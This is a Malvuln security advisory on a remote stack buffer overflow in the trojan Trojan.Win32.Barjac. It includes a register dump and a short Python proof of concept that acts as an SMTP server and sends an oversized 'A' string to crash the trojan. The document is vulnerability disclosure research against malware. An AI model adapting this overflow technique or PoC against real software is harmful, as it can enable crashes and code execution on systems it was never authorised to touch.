Discovery / credits: malvuln - Malvuln.com (c) 2021 Original source: http://malvuln.com/advisory/62ad686f97faaa68f580d32d25333f51.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan.Win32.Barjac Vulnerability: Remote Stack Buffer Overflow. Description: Trojan.Win32.Barjac makes SMTP connection to Port 25, upon processing the server response we control, we overwrite instruction pointer (EIP), undermining the integrity of the trojan. Type: PE32 MD5: 62ad686f97faaa68f580d32d25333f51 Vuln ID: MVID-2021-0011 Dropped files: ASLR: False Safe SEH: True DEP: False Disclosure: 01/01/2021 Memory Dump: EAX : 41414141 EBX : 0404DD00 ECX : 00002736 EDX : 0404DD00 EBP : 0019FE78 ESP : 0019FE50 ESI : 00002736 EDI : 00002733 EIP : 41414141 ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 CONTEXT: 0019f9f0 -- (.cxr 0x19f9f0) eax=41414141 ebx=03fddd00 ecx=00002736 edx=03fddd00 esi=00002736 edi=00002733 eip=41414141 esp=0019fe50 ebp=0019fe78 iopl=0 nv up ei ng nz ac po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010293 41414141 ?? ??? Exploit/PoC: import socket junk = "A" payload=junk*65600 port=25 def doit(): global payload s = socket.socket() print("Trojan.Win32.Barjac / Remote Buffer Overflow") print("MD5: 62ad686f97faaa68f580d32d25333f51") print("By malvuln") try: host = '' s.bind((host, port)) s.listen(5) while True: conn, addr = s.accept() conn.send(payload+'\r\n') conn.close() except Exception as e: pass if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).